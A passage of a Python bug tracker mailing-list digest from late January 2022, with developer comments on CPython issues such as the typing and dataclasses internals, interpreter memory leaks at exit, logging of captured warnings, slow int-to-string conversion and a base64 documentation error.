From: report at bugs.python.org (Barney Gale) Date: Thu, 27 Jan 2022 23:22:28 +0000 Subject: [issue46556] pathlib.Path.__enter__() should emit DeprecationWarning In-Reply-To: <1643324841.78.0.0628599303644.issue46556@roundup.psfhosted.org> Message-ID: <1643325748.72.0.975414101824.issue46556@roundup.psfhosted.org> Change by Barney Gale : ---------- keywords: +patch pull_requests: +29149 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30971 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:28:04 2022 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 27 Jan 2022 23:28:04 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643326084.55.0.854861341657.issue46528@roundup.psfhosted.org> Brandt Bucher added the comment: In a typical run of the pyperformance benchmark suite, rotations account for a bit over 1% of all instructions executed. I don't have timings for individual instructions, unfortunately. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:40:08 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 27 Jan 2022 23:40:08 +0000 Subject: [issue40170] [C API] Make PyTypeObject structure an opaque structure in the public C API In-Reply-To: <1585915023.07.0.846808236133.issue40170@roundup.psfhosted.org> Message-ID: <1643326808.59.0.98190543328.issue40170@roundup.psfhosted.org> STINNER Victor added the comment: New changeset 18ea973c21ee4a6adc26be41027881043fa498eb by Victor Stinner in branch 'main': bpo-40170: Remove PyHeapType_GET_MEMBERS() macro (GH-30942) https://github.com/python/cpython/commit/18ea973c21ee4a6adc26be41027881043fa498eb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:40:21 2022 From: report at bugs.python.org (Mark Shannon) Date: Thu, 27 Jan 2022 23:40:21 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643326821.28.0.811148627751.issue46528@roundup.psfhosted.org> Mark Shannon added the comment: Timings for individual instructions are a bit meaningless, as out-of-order execution and speculation on modern CPUs makes it hard to pin down the timing of anything. I did an experiment to double the number of instructions. It slowed things down by ~10%, so increasing the number of instructions by 1% would be expected to result in a slowdown of 0.1%. In other words, this is going to make little or no difference to performance. It does make things cleaner and simpler though, which has its own benefits. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:46:08 2022 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 27 Jan 2022 23:46:08 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643327168.09.0.133865832092.issue46528@roundup.psfhosted.org> Brandt Bucher added the comment: > I did an experiment to double the number of instructions. Were the extra instructions just NOPs, or were they actually doing any work? If they were NOPs, then presumably those numbers tell us more about the overhead of dispatch and cache pressure than anything else. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 18:46:09 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 27 Jan 2022 23:46:09 +0000 Subject: [issue31582] Add _pth breadcrumb to sys.path documentation In-Reply-To: <1506401240.1.0.91731713201.issue31582@psf.upfronthosting.co.za> Message-ID: <1643327169.18.0.268494792966.issue31582@roundup.psfhosted.org> Steve Dower added the comment: I think we need somewhere in the documentation to explain how the initial import path is calculated, in terms useful for an end user (rather than what's in getpath.py, which is for developers). Right now, I'm not sure there's a good place for it. There's a Windows-specific page with some detail, but we probably need something more generic. Probably it belongs under Doc/using/cmdline.rst (the environment variables section there is tempting, but I expect those would be updated to point to an easier to follow explanation. We'd also point to it from sys.path. Without adding the new section, there isn't really anywhere sensible to mention it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:03:43 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Fri, 28 Jan 2022 00:03:43 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643328223.01.0.194402983458.issue46553@roundup.psfhosted.org> Gregory Beauregard added the comment: It's acceptable to mypy, and pyright added support a few months ago when I made an issue and Eric Traut discovered this pattern in the wild too. Some of the other type checkers (pyre) still error I believe. My feeling is that since this has apparently become used in practice we should fix the runtime error for when it's stringified, but we don't necessarily need to prescribe that it's a legal type annotation for type checkers (?). If I was prescribing how to use ClassVar in a vacuum, I don't see any good typing reason we should prohibit this. re: moving dataclasses: I'm not sure either! I'm trying to look into the issues it brings up in practice to weigh against the difficulties of maintaining the existing bespoke introspection implementation and the problems it has (dealing with stringified annotations, supporting renaming the Annotated symbol). I made an implementation that fully moves dataclasses over to using `get_type_hints` (and got all the tests to pass), but my feeling right now is that a few issues are too serious for it to be viable: 1) the namespaces are a mess, and issues like https://github.com/python/typing/issues/508 don't have a solution at the moment 2) get_type_hints paints a wide brush on the entire class when it raises for errors, so it's not very viable to deal with non-typing non-Annotated[] annotations as a one-off There's also nontechnical issues, like the potential politics of making dataclasses always import typing. I'll be updating bpo-46511 later with thoughts. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:18:49 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 00:18:49 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643329129.71.0.162088713446.issue46542@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +29151 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30972 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:20:34 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 00:20:34 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643329234.56.0.265817479851.issue46542@roundup.psfhosted.org> STINNER Victor added the comment: I managed to reproduce the test_json crash on the "Fedora Stable ppc64le" buildbot using clang. Commands: --- ./configure --with-pydebug CC=clang make -j10 ./python -m test -v test_json --- I wrote GH-30972 to fix it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:22:30 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Fri, 28 Jan 2022 00:22:30 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643329350.7.0.529355055529.issue46511@roundup.psfhosted.org> Gregory Beauregard added the comment: Hi Eric, to follow up on https://bugs.python.org/msg411943 I'm currently a bit negative on moving to get_type_hints, even though I got it working for the test suite. I think your worries with nesting are well placed, particularly with namespaces and such. In that vein, I suggest we move forward with patching the existing implementation with the discussed regex restrictions. I'm not sure if you want to remove the test cases with leading spaces; it seems not too important. While we're there I found a bug in the test suite, a missing comma that can be fixed at the same time: https://github.com/python/cpython/blob/b1a3446f077b7d56b89f55d98dadb8018986a3e5/Lib/test/test_dataclasses.py#L3080 Do you have any other concerns before I take a stab at this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:35:19 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 00:35:19 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643330119.92.0.297991005322.issue46542@roundup.psfhosted.org> STINNER Victor added the comment: New changeset e7a6285f1be18992191599792524d3aa6aedfa55 by Victor Stinner in branch 'main': bpo-46542: test_json uses support.infinite_recursion() (GH-30972) https://github.com/python/cpython/commit/e7a6285f1be18992191599792524d3aa6aedfa55 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:35:23 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 00:35:23 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643330123.89.0.829388490598.issue46542@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +29152 pull_request: https://github.com/python/cpython/pull/30973 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:35:28 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 00:35:28 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643330128.48.0.761839392782.issue46542@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +29153 pull_request: https://github.com/python/cpython/pull/30974 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:38:52 2022 From: report at bugs.python.org (Michael P. Nitowski) Date: Fri, 28 Jan 2022 00:38:52 +0000 Subject: [issue46557] Logging captured warnings with a format string unnecessarily groups warnings together Message-ID: <1643330332.28.0.388721320926.issue46557@roundup.psfhosted.org> New submission from Michael P. Nitowski : Systems that aggregate logs like Sentry will group all captured warnings under the same event which makes it difficult to assess common warnings ---------- components: Library (Lib) messages: 411947 nosy: mnito priority: normal severity: normal status: open title: Logging captured warnings with a format string unnecessarily groups warnings together type: behavior versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:45:56 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 28 Jan 2022 00:45:56 +0000 Subject: [issue46511] dataclasses: Allow typing.Annotated to wrap dataclasses-specific annotations In-Reply-To: <1643101368.65.0.575407689959.issue46511@roundup.psfhosted.org> Message-ID: <1643330756.78.0.177059936401.issue46511@roundup.psfhosted.org> Eric V. Smith added the comment: I was hoping to wait until the PEP 649 / PEP 563 thing was decided. But I realize that no matter how that turns out, there will be a need to deal with string annotations. So I think I'm okay with the regex changes. Personally, I think we should remove support for leading spaces and should remove the tests, too. I guess there's some argument that there should be a deprecation period, I think it's just invalid syntax and shouldn't be supported. Go ahead and put together a PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:46:48 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 28 Jan 2022 00:46:48 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1643330808.84.0.262891008599.issue46407@roundup.psfhosted.org> Tim Peters added the comment: New changeset f10dafc430279b4e6cf5b981ae3d1d76e8f431ad by Crowthebird in branch 'main': bpo-46407: Optimizing some modulo operations (GH-30653) https://github.com/python/cpython/commit/f10dafc430279b4e6cf5b981ae3d1d76e8f431ad ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:47:51 2022 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 28 Jan 2022 00:47:51 +0000 Subject: [issue46557] Logging captured warnings with a format string unnecessarily groups warnings together In-Reply-To: <1643330332.28.0.388721320926.issue46557@roundup.psfhosted.org> Message-ID: <1643330871.71.0.393397396653.issue46557@roundup.psfhosted.org> Eric V. Smith added the comment: Could you give an example of the problem? ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:48:57 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 28 Jan 2022 00:48:57 +0000 Subject: [issue46407] optimizing `1 << n` or `2 ** n` and modulo-only operations In-Reply-To: <1642402003.92.0.19902831898.issue46407@roundup.psfhosted.org> Message-ID: <1643330937.96.0.545764099058.issue46407@roundup.psfhosted.org> Tim Peters added the comment: I only merged the split-off PR that added new remainder-only functions. Still thinking about the `1 << n` and `2**n` one. ---------- assignee: -> tim.peters resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:49:58 2022 From: report at bugs.python.org (Michael P. Nitowski) Date: Fri, 28 Jan 2022 00:49:58 +0000 Subject: [issue46557] Logging captured warnings with a format string unnecessarily groups warnings together In-Reply-To: <1643330332.28.0.388721320926.issue46557@roundup.psfhosted.org> Message-ID: <1643330998.55.0.788117405776.issue46557@roundup.psfhosted.org> Change by Michael P. Nitowski : ---------- keywords: +patch pull_requests: +29154 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30975 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:57:22 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 00:57:22 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643331442.11.0.958860999491.issue46542@roundup.psfhosted.org> miss-islington added the comment: New changeset 20f53136679e260466a765de5befa3b9db396c9e by Miss Islington (bot) in branch '3.10': bpo-46542: test_json uses support.infinite_recursion() (GH-30972) https://github.com/python/cpython/commit/20f53136679e260466a765de5befa3b9db396c9e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 19:56:39 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 28 Jan 2022 00:56:39 +0000 Subject: [issue46528] Simplify the VM's stack manipulations In-Reply-To: <1643161199.78.0.253250267538.issue46528@roundup.psfhosted.org> Message-ID: <1643331399.88.0.212195905159.issue46528@roundup.psfhosted.org> Barry A. Warsaw added the comment: IIRC, Carl got a lot of benefit out of reordering the opcodes in the main loop to put the most common ones at the top. I don't know if that is still relevant or whether computed gotos, when enabled, change that calculus. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 20:05:03 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 28 Jan 2022 01:05:03 +0000 Subject: [issue46542] test_json and test_lib2to3 crash on s390x Fedora Clang 3.x buildbot In-Reply-To: <1643246996.74.0.219777857159.issue46542@roundup.psfhosted.org> Message-ID: <1643331903.92.0.392466991013.issue46542@roundup.psfhosted.org> miss-islington added the comment: New changeset 8cd82461f9bb17381bf9d09989daea316c609cd5 by Miss Islington (bot) in branch '3.9': bpo-46542: test_json uses support.infinite_recursion() (GH-30972) https://github.com/python/cpython/commit/8cd82461f9bb17381bf9d09989daea316c609cd5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 20:09:35 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 28 Jan 2022 01:09:35 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643332175.17.0.427544389756.issue46553@roundup.psfhosted.org> Guido van Rossum added the comment: Please just don't go there. I beg you. It's not worth it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 20:12:42 2022 From: report at bugs.python.org (Michael P. Nitowski) Date: Fri, 28 Jan 2022 01:12:42 +0000 Subject: [issue46557] Logging captured warnings with a format string unnecessarily groups warnings together In-Reply-To: <1643330332.28.0.388721320926.issue46557@roundup.psfhosted.org> Message-ID: <1643332362.26.0.82296383154.issue46557@roundup.psfhosted.org> Michael P. Nitowski added the comment: Of course, here's an example script to reproduce: ``` import logging import warnings import sentry_sdk from sentry_sdk.integrations.logging import LoggingIntegration logging.captureWarnings(True) sentry_logging = LoggingIntegration( level=logging.INFO, event_level=logging.WARNING ) sentry_sdk.init( "", traces_sample_rate=1.0, integrations=[ LoggingIntegration( level=logging.INFO, event_level=logging.WARNING ) ] ) warnings.warn("A warning") warnings.warn("Another warning") ``` I attached a file of what it looks like in the Sentry UI. Notice both warnings under the same issue. When logging warnings directly with the logging module, each message arrives as a separate issue. These warnings from the warnings module are both grouped together under the same issue since Sentry groups all logs with the same format string together. ---------- Added file: https://bugs.python.org/file50592/Screen Shot 2022-01-27 at 8.09.37 PM.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 20:47:28 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 01:47:28 +0000 Subject: [issue45113] [subinterpreters][C API] Add a new function to create PyStructSequence from Heap. In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org> Message-ID: <1643334448.19.0.14380672476.issue45113@roundup.psfhosted.org> STINNER Victor added the comment: Quick update on this closed issue. I landed on this issue from Erlend's SC request: https://github.com/python/steering-council/issues/99 > Oh! I assumed this bug wasn't resolved, but it is -- in bpo-34784. Sorry, I should have checked! Yes, there is the PyStructSequence_NewType() function which exists since 2010 (PEP 384 implementation: commit 4d0d471a8031de90a2b1ce99c4ac4780e60b3bc9). I recently added _PyStructSequence_NewType() to the internal C API to pass flags like Py_TPFLAGS_DISALLOW_INSTANTIATION. I modified signal, _curses, time and _thread modules to use it. On the other side, I added _PyStructSequence_FiniType() to clear a static structseq (bpo-46417). ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 20:52:10 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 01:52:10 +0000 Subject: [issue45113] [subinterpreters][C API] Add a new function to create PyStructSequence from Heap. In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org> Message-ID: <1643334730.54.0.0359218945735.issue45113@roundup.psfhosted.org> STINNER Victor added the comment: Raymond: > Is the subinterpreters work still on hold pending a PEP? While sub-interpreters is one motivation to convert static types to heap types, it's not the only one. IMO it's better to use the "embedded Python" use case to justify these changes, since embedding Python is non controversial and is already widely used. For me, another motivation (related to embedded Python) is to release all memory in Py_Finalized(): see bpo-1635741. While this main issues is now closed, Python still leaks memory when you import C extensions using static types: see bpo-40077. -- Hai Shi proposed to add a PyStructSequence_FromModuleAndDesc() function but right now, I'm not sure which C extension requires to retrieve a module state from a structseq object. Usually, structseq types have no method. So I don't see the need to reopen the issue. I just wanted to comment this closed issue ;-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:01:54 2022 From: report at bugs.python.org (Gregory Beauregard) Date: Fri, 28 Jan 2022 02:01:54 +0000 Subject: [issue46553] typing: get_type_hints on stringified lone ClassVar raises TypeError In-Reply-To: <1643316613.99.0.345169624659.issue46553@roundup.psfhosted.org> Message-ID: <1643335314.49.0.56779392031.issue46553@roundup.psfhosted.org> Gregory Beauregard added the comment: I think I miscommunicated my intent with sentence placement. I already posted the thoughts I referred to; they're just my concluding opinion on the technical merit of using get_type_hints in dataclasses to solve the Annotated problem: https://bugs.python.org/msg411945 In any case, I apologize for the faux pas and I'll be careful in the future. I dug up the issue where pyright was changed (to allow bare ClassVar) that has an argument for not allowing it to be bare: https://github.com/microsoft/pyright/issues/2377 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:24:27 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 02:24:27 +0000 Subject: [issue35774] ASAN, memory leak In-Reply-To: <1547814506.63.0.194209135829.issue35774@roundup.psfhosted.org> Message-ID: <1643336667.54.0.846296069067.issue35774@roundup.psfhosted.org> STINNER Victor added the comment: > 1. Run python > 2. Ctrl + D It seems like this scenario has recently been fixed in bpo-1635741: $ ./python -I -X showrefcount Python 3.11.0a4+ (heads/main:18ea973c21, Jan 28 2022, 01:38:10) [GCC 11.2.1 20211203 (Red Hat 11.2.1-7)] on linux Type "help", "copyright", "credits" or "license" for more information. >>> exit() [-4 refs, 1 blocks] If you still see memory leaks in Python 3.11, please better describe what you do to "Run python" and open a new issue ;-) ---------- nosy: +vstinner resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Py_Finalize() doesn't clear all Python objects at exit _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:24:39 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 02:24:39 +0000 Subject: [issue1635741] Py_Finalize() doesn't clear all Python objects at exit Message-ID: <1643336679.0.0.258224348045.issue1635741@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-35774 as a duplicate of this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:31:44 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 28 Jan 2022 02:31:44 +0000 Subject: [issue46558] Quadratic time internal base conversions Message-ID: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> New submission from Tim Peters : Our internal base conversion algorithms between power-of-2 and non-power-of-2 bases are quadratic time, and that's been annoying forever ;-) This applies to int<->str and int<->decimal.Decimal conversions. Sometimes the conversion is implicit, like when comparing an int to a Decimal. For example: >>> a = 1 << 1000000000 # yup! a billion and one bits >>> s = str(a) I gave up after waiting for over 8 hours, and the computation apparently can't be interrupted. In contrast, using the function in the attached todecstr.py gets the result in under a minute: >>> a = 1 << 1000000000 >>> s = todecstr(a) >>> len(s) 301029996 That builds an equal decimal.Decimal in a "clever" recursive way, and then just applies str to _that_. That's actually a best case for the function, which gets major benefit from the mountains of trailing 0 bits. A worst case is all 1-bits, but that still finishes in under 5 minutes: >>> a = 1 << 1000000000 >>> s2 = todecstr(a - 1) >>> len(s2) 301029996 >>> s[-10:], s2[-10:] ('1787109376', '1787109375') A similar kind of function could certainly be written to convert from Decimal to int much faster, but it would probably be less effective. These things avoid explicit division entirely, but fat multiplies are key, and Decimal implements a fancier * algorithm than Karatsuba. Not for the faint of heart ;-) ---------- components: Interpreter Core files: todecstr.py messages: 411962 nosy: tim.peters priority: normal severity: normal status: open title: Quadratic time internal base conversions type: performance Added file: https://bugs.python.org/file50593/todecstr.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:41:02 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 02:41:02 +0000 Subject: [issue23769] valgrind reports leaks for test_zipimport In-Reply-To: <1427236334.27.0.200472101868.issue23769@psf.upfronthosting.co.za> Message-ID: <1643337662.73.0.0850655108337.issue23769@roundup.psfhosted.org> STINNER Victor added the comment: > valgrind reports leaks for test_zipimport It's not strictly a memory leak: running the same code multiple time doesn't leak memory. It's just that Python allocates memory once and never releases it (doesn't releast it at exit). --- leak4.py: Updated and simplified script. If the code is run 10 times, it doesn't leak. With 1, 10 or 100 loops (LOOPS=100), Python still says the same at exit: $ ./python -I -X showrefcount leak4.py [1574 refs, 664 blocks] Using cannot_deallocate2.patch of bpo-46417, I can see that multiple static types are not cleared at Python exit: --- Cannot deallocate type 'Exception': it still has subclasses * error Cannot deallocate type 'BaseException': it still has subclasses * Exception Cannot deallocate type 'dict': it still has subclasses * collections.defaultdict Cannot deallocate type 'object': it still has subclasses * dict * BaseException * itertools.accumulate * itertools.combinations * itertools.combinations_with_replacement * itertools.cycle * itertools.dropwhile * itertools.takewhile * itertools.islice * itertools.starmap * itertools.chain * itertools.compress * itertools.filterfalse * itertools.count * itertools.zip_longest * itertools.pairwise * itertools.permutations * itertools.product * itertools.repeat * itertools.groupby * itertools._grouper * itertools._tee * itertools._tee_dataobject * collections.deque * _collections._deque_iterator * _collections._deque_reverse_iterator * _collections._tuplegetter * _struct.Struct * _struct.unpack_iterator --- The _collections, itertools and _struct extensions implement types as static types which are not cleared at Python exit. It explains why Python says that there are still 664 memory blocks allocated at Python exit (664 blocks). I consider that this issue is a duplicate of bpo-40077. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Convert static types to heap types: use PyType_FromSpec() Added file: https://bugs.python.org/file50594/leak4.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:42:11 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 02:42:11 +0000 Subject: [issue40077] Convert static types to heap types: use PyType_FromSpec() In-Reply-To: <1585238684.65.0.246012172449.issue40077@roundup.psfhosted.org> Message-ID: <1643337731.89.0.0215773701399.issue40077@roundup.psfhosted.org> STINNER Victor added the comment: I marked bpo-23769 "valgrind reports leaks for test_zipimport" as duplicate of this issue. At exit, Python doesn't clear the static types of the _collections, itertools and _struct extensions: * itertools.accumulate * itertools.combinations * itertools.combinations_with_replacement * itertools.cycle * itertools.dropwhile * itertools.takewhile * itertools.islice * itertools.starmap * itertools.chain * itertools.compress * itertools.filterfalse * itertools.count * itertools.zip_longest * itertools.pairwise * itertools.permutations * itertools.product * itertools.repeat * itertools.groupby * itertools._grouper * itertools._tee * itertools._tee_dataobject * collections.deque * _collections._deque_iterator * _collections._deque_reverse_iterator * _collections._tuplegetter * _struct.Struct * _struct.unpack_iterator See: https://bugs.python.org/issue23769#msg411963 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:43:10 2022 From: report at bugs.python.org (STINNER Victor) Date: Fri, 28 Jan 2022 02:43:10 +0000 Subject: [issue43536] 3.9.2 --without-pymalloc --with-pydebug --with-valgrind: test failed: test_posix In-Reply-To: <1616040490.74.0.308907840702.issue43536@roundup.psfhosted.org> Message-ID: <1643337790.37.0.778137587177.issue43536@roundup.psfhosted.org> STINNER Victor added the comment: Without the test output, we cannot investigate the issue. I close it. ---------- nosy: +vstinner resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:44:55 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Fri, 28 Jan 2022 02:44:55 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643337895.8.0.609632987521.issue46558@roundup.psfhosted.org> Dennis Sweeney added the comment: Is this similar to https://bugs.python.org/issue3451 ? ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:47:02 2022 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 28 Jan 2022 02:47:02 +0000 Subject: [issue46548] macOS installers cannot be signed on Monterey In-Reply-To: <1643284375.14.0.614518279625.issue46548@roundup.psfhosted.org> Message-ID: <1643338022.76.0.798951578942.issue46548@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 21:52:31 2022 From: report at bugs.python.org (hello world) Date: Fri, 28 Jan 2022 02:52:31 +0000 Subject: [issue46559] base64 documentation is out-dated; altchars has to have the exact length of 2. Message-ID: <1643338351.59.0.133820925399.issue46559@roundup.psfhosted.org> New submission from hello world : According to the documentation of base64 (https://docs.python.org/3/library/base64.html), > Optional altchars must be a bytes-like object of at least length 2 (additional characters are ignored) which specifies an alternative alphabet for the + and / characters. but this explanation is out-dated. Actually this had been correct until the commit `4581ae5fa2450db3f00384e4b2e86654605100d4` was made for cpython in "2007". (Thus, the explanation has been incorrect for about 15 years.) The current implementation requires the length of `altchars` to be exactly two, as explicitly written in the comment: > Optional altchars should be a byte string of length 2 which specifies an alternative alphabet for the '+' and '/' characters. and the corresponding assertion is: > assert len(altchars) == 2, repr(altchars) ---------- assignee: docs at python components: Documentation messages: 411967 nosy: docs at python, qp3839 priority: normal severity: normal status: open title: base64 documentation is out-dated; altchars has to have the exact length of 2. versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 22:07:50 2022 From: report at bugs.python.org (Keelung Yang) Date: Fri, 28 Jan 2022 03:07:50 +0000 Subject: [issue46554] Add append keyword argument to Path.write_text() and Path.write_bytes() In-Reply-To: <1643318458.5.0.470070571625.issue46554@roundup.psfhosted.org> Message-ID: <1643339270.48.0.0376052569334.issue46554@roundup.psfhosted.org> Keelung Yang added the comment: @barneygale, This is for simplifying code and improve readability, since `Readability counts` in The Zen of Python. Users needn't two lines code to append a file. And there is a minimal modifying to reach it. If inexperienced users are falling into the hole, just let them in and then learned sth. Because they will go out of the hole sooner or later. And finally, two lines cann't prevent them from falling into the hole. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 22:12:39 2022 From: report at bugs.python.org (Tim Peters) Date: Fri, 28 Jan 2022 03:12:39 +0000 Subject: [issue46558] Quadratic time internal base conversions In-Reply-To: <1643337104.3.0.837744135062.issue46558@roundup.psfhosted.org> Message-ID: <1643339559.85.0.232041588565.issue46558@roundup.psfhosted.org> Tim Peters added the comment: Dennis, partly, although that was more aimed at speeding division, while the approach here doesn't use division at all. However, thinking about it, the implementation I attached doesn't actually for many cases (it doesn't build as much of the power tree in advance as may be needed). Which I missed because all the test cases I tried had mountains of trailing 0 or 1 bits, not mixtures. So I'm closing this anyway, at least until I can dream up an approach that always works. Thanks! ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 27 22:19:28 2022 From: report at bugs.python.org (Evan) Date: Fri, 28 Jan 2022 03:19:28 +0000 Subject: [issue46560] ParamSpec: Typo in doc string Message-ID: <1643339968.72.0.870372405704.issue46560@roundup.psfhosted.org> New submission from Evan : Apologies if this is pedantic; in the typing.py file the ParamSpec's doc string says: "They are only valid when used in ``Concatenate``, or s the first argument to ``Callable``" I believe it should be: "They are only valid when used in ``Concatenate``, or as the first argument to ``Callable``" s -> as ---------- messages: 411970 nosy: ESchalton priority: normal severity: normal status: 